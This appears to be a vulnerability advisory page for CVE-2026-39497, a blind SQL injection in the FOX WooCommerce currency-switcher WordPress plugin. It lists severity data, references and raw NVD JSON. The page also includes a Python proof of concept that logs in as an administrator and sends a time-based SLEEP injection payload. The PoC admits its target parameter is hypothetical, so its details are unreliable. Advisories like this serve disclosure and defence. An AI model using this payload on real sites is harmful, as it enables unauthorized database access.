CVE-2026-39497

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 FOX woocommerce-currency-switcher allows Blind SQL Injection.This issue affects FOX: from n/a through <= 1.4.5.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

FOX woocommerce-currency-switcher <= 1.4.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-39497 (Blind SQL Injection)
# Note: This requires authentication (High Privilege) and valid CSRF tokens.

import requests
import time

# Configuration (Replace with actual target URL and credentials)
target_url = "http://example.com/wp-admin/admin-ajax.php"
username = "admin"
password = "password"
login_url = "http://example.com/wp-login.php"

def login():
    session = requests.Session()
    # Perform login to get authenticated cookies
    payload = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Log In',
        'redirect_to': target_url
    }
    session.post(login_url, data=payload)
    return session

def exploit_sqli(session):
    # Vulnerable parameter example (hypothetical based on description)
    # Payload checks if the response takes longer than 5 seconds
    payload = {
        'action': 'fox_currency_switcher',
        'currency_id': "1' AND (SELECT SLEEP(5))-- -"
    }

    start_time = time.time()
    response = session.post(target_url, data=payload)
    end_time = time.time()

    if end_time - start_time >= 5:
        print("[+] Vulnerability confirmed: Database response delayed.")
    else:
        print("[-] Vulnerability not detected or payload invalid.")

if __name__ == "__main__":
    sess = login()
    exploit_sqli(sess)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39497
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39497
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39497/
[4] VulDB https://vuldb.com/cve/CVE-2026-39497
[5] https://patchstack.com/database/Wordpress/Plugin/woocommerce-currency-switcher/vulnerability/wordpress-fox-plugin-1-4-5-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39497", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:24.090", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 FOX woocommerce-currency-switcher allows Blind SQL Injection.This issue affects FOX: from n/a through <= 1.4.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-currency-switcher/vulnerability/wordpress-fox-plugin-1-4-5-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}